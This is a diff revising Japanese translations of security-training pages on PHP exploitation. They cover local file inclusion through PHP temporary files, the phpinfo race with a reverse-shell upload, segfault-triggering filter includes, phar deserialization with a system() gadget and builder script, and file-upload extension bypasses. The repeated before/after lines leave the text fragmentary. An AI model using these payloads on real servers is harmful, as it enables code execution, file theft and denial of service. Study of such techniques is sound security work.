- **PHPリクエストのタイムアウト**。理想的には、これは永遠であるべきか、アップロードされた一時ファイルを削除せずにPHPプロセスを終了させるべきです。そうでない場合、これもまた厄介です。
|
- **PHPリクエストのタイムアウト**。理想的にはこれは永遠であるべきか、アップロードされた一時ファイルを削除せずにPHPプロセスを終了させるべきです。そうでない場合、これもまた厄介です。
|
||||||
|
|
||||||
では、どうやって**PHPインクルードを決して終わらせる**ことができるのでしょうか?ファイル**`/sys/kernel/security/apparmor/revision`**をインクルードするだけです(**残念ながらDockerコンテナでは利用できません...**)。
|
では、どうやって**PHPインクルードを決して終わらせる**ことができるのでしょうか?ファイル**`/sys/kernel/security/apparmor/revision`**をインクルードするだけです(**残念ながらDockerコンテナでは利用できません...**)。
|
||||||
|
|
||||||
@ -50,35 +50,35 @@ include("/sys/kernel/security/apparmor/revision");
|
|||||||
```
|
```
|
||||||
## Apache2
|
## Apache2
|
||||||
|
|
||||||
デフォルトでは、Apacheは**150の同時接続**をサポートしており、[https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/)に従って、この数を最大8000まで増やすことが可能です。このモジュールでPHPを使用するには、次の手順に従ってください: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04)。
|
デフォルトでは、Apacheは**150の同時接続**をサポートしています。 [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) に従って、この数を最大8000まで増やすことが可能です。このモジュールでPHPを使用するには、次の手順に従ってください: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04)。
|
||||||
|
|
||||||
デフォルトでは、(私のテストで確認したところ)**PHPプロセスは永遠に続くことができます**。
|
デフォルトでは、(私のテストで確認したところ)**PHPプロセスは永遠に続くことができます**。
|
||||||
|
|
||||||
いくつかの計算をしてみましょう:
|
いくつかの計算をしてみましょう:
|
||||||
|
|
||||||
- **149の接続**を使用して、**149 \* 20 = 2980の一時ファイル**を生成できます。
|
- **149接続**を使用して、**149 \* 20 = 2980の一時ファイル**を生成できます。
|
||||||
- 次に、**最後の接続**を使用して**ブルートフォース**で潜在的なファイルを探します。
|
- 次に、**最後の接続**を使用して**ブルートフォース**で潜在的なファイルを探します。
|
||||||
- **10リクエスト/秒**の速度で、時間は次の通りです:
|
- **10リクエスト/秒**の速度で、時間は次の通りです:
|
||||||
- 56800235584 / 2980 / 10 / 3600 \~= **530時間**(265時間で50%の確率)
|
- 56800235584 / 2980 / 10 / 3600 \~= **530時間**(265時間で50%の確率)
|
||||||
- (数字なし)19770609664 / 2980 / 10 / 3600 \~= 185時間(93時間で50%の確率)
|
- (数字なし)19770609664 / 2980 / 10 / 3600 \~= 185時間(93時間で50%の確率)
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 前の例では、**他のクライアントを完全にDoSしている**ことに注意してください!
|
> 前の例では、**他のクライアントを完全にDoSしています**!
|
||||||
|
|
||||||
Apacheサーバーが改善され、**4000の接続**を悪用できる場合(最大数の半分)、`3999*20 = 79980` **ファイル**を作成でき、**時間**は約**19.7時間**または**6.9時間**(10時間、3.5時間で50%の確率)に**短縮**されます。
|
Apacheサーバーが改善され、**4000接続**を悪用できる場合(最大数の半分)、`3999*20 = 79980` **ファイル**を作成でき、**時間**は約**19.7時間**または**6.9時間**(10時間、3.5時間で50%の確率)に**短縮**されます。
|
||||||
|
|
||||||
## PHP-FMP
|
## PHP-FMP
|
||||||
|
|
||||||
通常のphpモジュールを使用してPHPスクリプトを実行する代わりに、**ウェブページが** **PHP-FMPを使用している**場合(これによりウェブページの効率が向上するため、一般的に見られます)、技術を改善するために他にできることがあります。
|
通常のphpモジュールを使用してPHPスクリプトを実行する代わりに、**ウェブページが** **PHP-FMP**を使用している場合(これによりウェブページの効率が向上するため、一般的に見られます)、技術を改善するために他にできることがあります。
|
||||||
|
|
||||||
PHP-FMPは、**`/etc/php/<php-version>/fpm/pool.d/www.conf`**で**パラメータ** **`request_terminate_timeout`**を**設定**することを許可します。\
|
PHP-FMPは、**`/etc/php/<php-version>/fpm/pool.d/www.conf`**で**パラメータ** **`request_terminate_timeout`**を**設定**することを許可します。\
|
||||||
このパラメータは、**PHPへのリクエストが終了する最大秒数**を示します(デフォルトでは無限ですが、**パラメータがコメント解除されると30秒**)。PHPによってリクエストが処理されている間に指定された秒数が経過すると、**終了**します。これは、リクエストが一時ファイルをアップロードしている場合、**PHP処理が停止したため**、それらの**ファイルは削除されない**ことを意味します。したがって、その時間リクエストを持続させることができれば、削除されない**数千の一時ファイル**を**生成**でき、これによりそれらを見つけるプロセスが**加速**され、すべての接続を消費することによるプラットフォームへのDoSの可能性が減少します。
|
このパラメータは、**PHPへのリクエストが終了する最大秒数**を示します(デフォルトでは無限ですが、**パラメータがコメント解除されると30秒**)。リクエストがPHPによって処理されている間、指定された秒数が経過すると、**終了**します。これは、リクエストが一時ファイルをアップロードしている場合、**PHP処理が停止したため**、それらの**ファイルは削除されない**ことを意味します。したがって、その時間リクエストを持続させることができれば、削除されない**数千の一時ファイル**を**生成**でき、これによりそれらを見つけるプロセスが**加速**され、すべての接続を消費することによるプラットフォームへのDoSの確率が減少します。
|
||||||
|
|
||||||
したがって、**DoSを回避するために**、**攻撃者が同時に100の接続**のみを使用すると仮定し、php-fmpによるPHPの最大処理時間(`request_terminate_timeout`**)は**30秒**です。したがって、**秒あたり生成できる一時ファイルの数**は`100*20/30 = 66.67`です。
|
したがって、**DoSを回避するために**、**攻撃者が同時に100接続のみを使用する**と仮定し、php-fmpによるPHPの最大処理時間(`request_terminate_timeout`**)が**30秒**であるとします。したがって、**秒あたり生成できる一時ファイルの数**は`100*20/30 = 66.67`です。
|
||||||
|
|
||||||
次に、**10000ファイル**を生成するには、攻撃者は**`10000/66.67 = 150秒`**が必要です(**100000ファイル**を生成するには、時間は**25分**です)。
|
次に、**10000ファイル**を生成するには、攻撃者は**`10000/66.67 = 150秒`**が必要です(**100000ファイル**を生成するには、時間は**25分**になります)。
|
||||||
|
|
||||||
次に、攻撃者はこれらの**100接続**を使用して**ブルートフォース検索**を実行できます。 \*\*\*\* 300 req/sの速度を仮定すると、これを悪用するのに必要な時間は次の通りです:
|
その後、攻撃者はこれらの**100接続**を使用して**ブルートフォース検索**を実行できます。 \*\*\*\* 300 req/sの速度を仮定すると、これを悪用するのに必要な時間は次の通りです:
|
||||||
|
|
||||||
- 56800235584 / 10000 / 300 / 3600 \~= **5.25時間**(2.63時間で50%の確率)
|
- 56800235584 / 10000 / 300 / 3600 \~= **5.25時間**(2.63時間で50%の確率)
|
||||||
- (100000ファイルの場合)56800235584 / 100000 / 300 / 3600 \~= **0.525時間**(0.263時間で50%の確率)
|
- (100000ファイルの場合)56800235584 / 100000 / 300 / 3600 \~= **0.525時間**(0.263時間で50%の確率)
|
||||||
|
@ -22,18 +22,18 @@
|
|||||||
5. base64デコードしてphpコードを取得します
|
5. base64デコードしてphpコードを取得します
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **インクルード**は通常、ファイルの**末尾に".php"を追加する**ようなことを行うため、これにより悪用が難しくなる可能性があります。なぜなら、悪用を妨げない内容の.phpファイルを見つける必要があるからです...または、**リソースとして`php://temp`を使用することもできます**。これは**名前に何でも追加できる**ため(例えば"+.php")、それでも悪用が機能します!
|
> **インクルード**は通常、ファイルの**末尾に".php"を追加する**ようなことを行うため、これにより悪用が難しくなる可能性があります。なぜなら、悪用を妨げない内容の.phpファイルを見つける必要があるからです...または、**リソースとして`php://temp`を使用することができます**。これは**名前に何でも追加できる**ため(例えば"+.php")、それでも悪用が機能します!
|
||||||
|
|
||||||
## 結果データにサフィックスを追加する方法
|
## 結果データにサフィックスを追加する方法
|
||||||
|
|
||||||
[**この書き込みは**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)PHPフィルターを悪用して結果の文字列にサフィックスを追加する方法を説明しています。これは、出力に特定の形式(jsonやPNGマジックバイトの追加など)が必要な場合に便利です。
|
[**この書き込みは説明しています**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) PHPフィルターを悪用して結果の文字列にサフィックスを追加する方法を。これは、出力に特定のフォーマット(jsonやPNGマジックバイトの追加など)が必要な場合に便利です。
|
||||||
|
|
||||||
## 自動ツール
|
## 自動ツール
|
||||||
|
|
||||||
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
||||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(サフィックスを追加できます)**
|
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(サフィックスを追加できます)**
|
||||||
|
|
||||||
## フルスクリプト
|
## 完全なスクリプト
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
@ -6,11 +6,11 @@
|
|||||||
|
|
||||||
**チュートリアル HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
**チュートリアル HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||||
|
|
||||||
エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのために、次のようにできます:
|
エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのためには、次のようにできます:
|
||||||
```
|
```
|
||||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||||
```
|
```
|
||||||
あなたは、エクスプロイトの最初にある**payload**を変更する必要があります(例えば、php-rev-shell用)、**REQ1**(これはphpinfoページを指し、パディングが含まれている必要があります、すなわち:_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_)、および**LFIREQ**(これはLFI脆弱性を指す必要があります、すなわち:_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ null charを悪用する際のダブル"%"に注意してください)
|
あなたは、エクスプロイトの最初に**ペイロード**を変更する必要があります(例えば、php-rev-shell用)、**REQ1**(これはphpinfoページを指し、パディングが含まれている必要があります、すなわち:_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_)、および**LFIREQ**(これはLFI脆弱性を指す必要があります、すなわち:_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ ヌル文字を悪用する際のダブル "%" に注意してください)
|
||||||
|
|
||||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||||
|
|
||||||
@ -22,11 +22,11 @@ PHPでアップロードが許可されている場合、ファイルをアッ
|
|||||||
|
|
||||||
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
|
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
|
||||||
|
|
||||||
**Linux**では、ファイルの名前は**random**であり、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出し**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。
|
**Linux**では、ファイルの名前は**ランダム**で、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出する必要があり**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。
|
||||||
|
|
||||||
**phpinfo()**
|
**phpinfo()**
|
||||||
|
|
||||||
**PHP**は**4096B**のバッファを使用し、**満杯**になると、**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**(一時ファイルの名前が含まれている場所)、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
|
**PHP**は**4096B**のバッファを使用し、**満杯**になると、**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**(一時ファイルの名前が含まれている場所)、LFI脆弱性を悪用して**phpサーバーがファイルを削除する前に一時ファイルにアクセス**しようとします。
|
||||||
|
|
||||||
**名前をブルートフォースするためのPythonスクリプト(長さ=6の場合)**
|
**名前をブルートフォースするためのPythonスクリプト(長さ=6の場合)**
|
||||||
```python
|
```python
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
次の書き込みによると [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (第二部) および [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view)、次のペイロードがPHPでセグメンテーションフォルトを引き起こしました:
|
次の書き込みによると [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (第二部) および [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view)、次のペイロードがPHPでセグメンテーションフォルトを引き起こしました:
|
||||||
```php
|
```php
|
||||||
// PHP 7.0
|
// PHP 7.0
|
||||||
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||||
@ -12,7 +12,7 @@ include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAA
|
|||||||
```
|
```
|
||||||
あなたは、**ファイル**を**含む****POST**リクエストを**送信**すると、PHPがそのファイルの内容を持つ**一時ファイルを`/tmp/php<something>`**に作成することを知っておくべきです。このファイルは、リクエストが処理されると**自動的に削除**されます。
|
あなたは、**ファイル**を**含む****POST**リクエストを**送信**すると、PHPがそのファイルの内容を持つ**一時ファイルを`/tmp/php<something>`**に作成することを知っておくべきです。このファイルは、リクエストが処理されると**自動的に削除**されます。
|
||||||
|
|
||||||
**LFI**を見つけ、PHPでセグメンテーションフォルトを**トリガー**することができれば、**一時ファイルは決して削除されません**。したがって、**LFI**脆弱性を利用してそれを**検索**し、見つけて任意のコードを実行することができます。
|
**LFI**を見つけて、PHPでセグメンテーションフォルトを**トリガー**することができれば、**一時ファイルは決して削除されません**。したがって、**LFI**脆弱性を利用してそれを**検索**し、見つけて任意のコードを実行することができます。
|
||||||
|
|
||||||
テストには、dockerイメージ[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)を使用できます。
|
テストには、dockerイメージ[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)を使用できます。
|
||||||
```python
|
```python
|
||||||
|
@ -17,13 +17,13 @@ Windowsでは、PHPは`GetTempFileName`関数を使用して一時ファイル
|
|||||||
|
|
||||||
- デフォルトのパスは通常`C:\Windows\Temp`です。
|
- デフォルトのパスは通常`C:\Windows\Temp`です。
|
||||||
- プレフィックスは通常「php」です。
|
- プレフィックスは通常「php」です。
|
||||||
- `<uuuu>`はユニークな16進数値を表します。重要なことに、この関数の制限により、下位16ビットのみが使用されるため、一定のパスとプレフィックスで最大65,535のユニークな名前が可能になり、ブルートフォースが実行可能です。
|
- `<uuuu>`は一意の16進数値を表します。重要なことに、この関数の制限により、下位16ビットのみが使用されるため、一定のパスとプレフィックスで最大65,535の一意の名前が可能になり、ブルートフォースが実行可能です。
|
||||||
|
|
||||||
さらに、Windowsシステムでの悪用プロセスは簡素化されています。`FindFirstFile`関数の特異性により、ローカルファイルインクルージョン(LFI)パスでワイルドカードを使用することが許可されています。これにより、一時ファイルを見つけるためのインクルードパスを次のように作成できます:
|
さらに、Windowsシステムでの悪用プロセスは簡素化されています。`FindFirstFile`関数の特異性により、ローカルファイルインクルージョン(LFI)パスでワイルドカードを使用することが許可されています。これにより、一時ファイルを見つけるためのインクルードパスを次のように作成できます:
|
||||||
```
|
```
|
||||||
http://site/vuln.php?inc=c:\windows\temp\php<<
|
http://site/vuln.php?inc=c:\windows\temp\php<<
|
||||||
```
|
```
|
||||||
特定の状況では、より具体的なマスク(例えば `php1<<` または `phpA<<`)が必要になる場合があります。これらのマスクを体系的に試すことで、アップロードされた一時ファイルを発見することができます。
|
特定の状況では、より具体的なマスク(例えば `php1<<` や `phpA<<`)が必要になる場合があります。これらのマスクを体系的に試すことで、アップロードされた一時ファイルを発見することができます。
|
||||||
|
|
||||||
#### GNU/Linuxシステムでの悪用
|
#### GNU/Linuxシステムでの悪用
|
||||||
|
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
**Phar**ファイル(PHPアーカイブ)ファイルは**シリアライズ形式のメタデータ**を含んでいるため、解析されるとこの**メタデータ**は**デシリアライズ**され、**PHP**コード内の**デシリアライズ**脆弱性を悪用することができます。
|
**Phar**ファイル(PHPアーカイブ)ファイルは**シリアライズ形式のメタデータを含んでいます**。したがって、解析されると、この**メタデータ**は**デシリアライズ**され、**PHP**コード内の**デシリアライズ**脆弱性を悪用しようとすることができます。
|
||||||
|
|
||||||
この特性の最も良い点は、**file_get_contents()、fopen()、file()またはfile_exists()、md5_file()、filemtime()またはfilesize()**のようなPHPコードを評価しない関数を使用しても、このデシリアライズが発生することです。
|
この特性の最も良い点は、**file_get_contents()、fopen()、file()またはfile_exists()、md5_file()、filemtime()またはfilesize()**のようなPHPコードを評価しない関数を使用しても、このデシリアライズが発生することです。
|
||||||
|
|
||||||
@ -24,7 +24,7 @@ system($this->data);
|
|||||||
|
|
||||||
filesize("phar://test.phar"); #The attacker can control this path
|
filesize("phar://test.phar"); #The attacker can control this path
|
||||||
```
|
```
|
||||||
あなたは、読み込まれると**このクラスを悪用して任意のコマンド**を実行する**phar**ファイルを作成できます。
|
あなたは、読み込まれると**このクラスを悪用して任意のコマンドを実行する**ような**phar**ファイルを作成できます。
|
||||||
```php:create_phar.php
|
```php:create_phar.php
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
@ -51,7 +51,7 @@ $phar->setMetadata($object);
|
|||||||
$phar->stopBuffering();
|
$phar->stopBuffering();
|
||||||
```
|
```
|
||||||
注意してください、**JPGのマジックバイト**(`\xff\xd8\xff`)がpharファイルの先頭に追加されて、**可能な**ファイル**アップロード**の**制限**を**回避**します。\
|
注意してください、**JPGのマジックバイト**(`\xff\xd8\xff`)がpharファイルの先頭に追加されて、**可能な**ファイル**アップロード**の**制限**を**回避**します。\
|
||||||
`test.phar`ファイルを次のようにコンパイルします:
|
`test.phar`ファイルを次のように**コンパイル**します:
|
||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_phar.php
|
php --define phar.readonly=0 create_phar.php
|
||||||
```
|
```
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**セッションがない**場合でも、**Local File Inclusion**を見つけた場合、`session.auto_start`が`Off`であっても、**`session.upload_progress.enabled`**が**`On`**であり、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データに提供すると、PHPは**セッションを有効にします**。
|
**セッションがない**場合でも、**Local File Inclusion**を見つけた場合、`session.auto_start`が`Off`であっても、**`session.upload_progress.enabled`**が**`On`**であり、**multipart POST**データに**`PHP_SESSION_UPLOAD_PROGRESS`**を提供すると、PHPは**セッションを有効にします**。
|
||||||
```bash
|
```bash
|
||||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||||
$ ls -a /var/lib/php/sessions/
|
$ ls -a /var/lib/php/sessions/
|
||||||
@ -25,13 +25,13 @@ In the last example the session will contain the string blahblahblah
|
|||||||
|
|
||||||
### CTF
|
### CTF
|
||||||
|
|
||||||
この技術がコメントされた[**元のCTF**](https://blog.orange.tw/2018/10/)では、レースコンディションを悪用するには不十分で、読み込まれるコンテンツも`@<?php`という文字列で始まる必要がありました。
|
この技術がコメントされた[**オリジナルのCTF**](https://blog.orange.tw/2018/10/)では、レースコンディションを悪用するには不十分で、読み込まれるコンテンツも`@<?php`という文字列で始まる必要がありました。
|
||||||
|
|
||||||
`session.upload_progress.prefix`のデフォルト設定により、**SESSIONファイルは煩わしいプレフィックス**`upload_progress_`で始まります。例えば:`upload_progress_controlledcontentbyattacker`
|
`session.upload_progress.prefix`のデフォルト設定により、**SESSIONファイルは煩わしいプレフィックス**`upload_progress_`で始まります。例えば:`upload_progress_controlledcontentbyattacker`
|
||||||
|
|
||||||
**初期プレフィックスを削除する**トリックは、**ペイロードを3回base64エンコード**し、その後`convert.base64-decode`フィルターを介してデコードすることです。これは、**base64デコード時にPHPが奇妙な文字を削除するため**です。したがって、3回後には**攻撃者によって送信された****ペイロード**のみが**残ります**(その後、攻撃者は初期部分を制御できます)。
|
**初期プレフィックスを削除する**トリックは、**ペイロードを3回base64エンコード**し、その後`convert.base64-decode`フィルターを介してデコードすることです。これは、**base64デコード時にPHPが奇妙な文字を削除するため**です。したがって、3回後には**攻撃者によって送信された****ペイロード**のみが**残ります**(その後、攻撃者は初期部分を制御できます)。
|
||||||
|
|
||||||
元の詳細は[https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/)にあり、最終的なエクスプロイトは[https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)です。\
|
詳細はオリジナルの解説にあります[https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/)と最終的なエクスプロイト[https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
|
||||||
別の解説は[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)にあります。
|
別の解説は[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)にあります。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## ファイルアップロード一般的手法
|
## ファイルアップロード一般的手法
|
||||||
|
|
||||||
他の有用な拡張子:
|
他の有用な拡張子:
|
||||||
@ -21,7 +22,7 @@
|
|||||||
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(前の拡張子も使用):_
|
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(前の拡張子も使用):_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.Php5_
|
- _file.png.Php5_
|
||||||
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用しても良いです_)
|
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用しても良いことに注意してください_)
|
||||||
- _file.php%20_
|
- _file.php%20_
|
||||||
- _file.php%0a_
|
- _file.php%0a_
|
||||||
- _file.php%00_
|
- _file.php%00_
|
||||||
@ -31,7 +32,7 @@
|
|||||||
- _file._
|
- _file._
|
||||||
- _file.php...._
|
- _file.php...._
|
||||||
- _file.pHp5...._
|
- _file.pHp5...._
|
||||||
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加します。 _前の拡張子を使用して、より良いペイロードを準備することもできます。_
|
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加する技術を使用します。 _より良いペイロードを準備するために**前の拡張子**を使用することもできます。_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.pHp5_
|
- _file.png.pHp5_
|
||||||
- _file.php#.png_
|
- _file.php#.png_
|
||||||
@ -43,7 +44,7 @@
|
|||||||
5. 前のチェックに**別の拡張子の層を追加**します:
|
5. 前のチェックに**別の拡張子の層を追加**します:
|
||||||
- _file.png.jpg.php_
|
- _file.png.jpg.php_
|
||||||
- _file.php%00.png%00.jpg_
|
- _file.php%00.png%00.jpg_
|
||||||
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます):
|
6. **有効な拡張子の前にexec拡張子を置いて**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます):
|
||||||
- _例: file.php.png_
|
- _例: file.php.png_
|
||||||
7. **Windows**の**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可された拡張子の前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”)。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
|
7. **Windows**の**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可された拡張子の前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”)。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
|
||||||
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
|
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
|
||||||
@ -51,7 +52,7 @@
|
|||||||
```
|
```
|
||||||
# Linuxの最大255バイト
|
# Linuxの最大255バイト
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
||||||
# ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう
|
# ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう
|
||||||
python -c 'print "A" * 232'
|
python -c 'print "A" * 232'
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
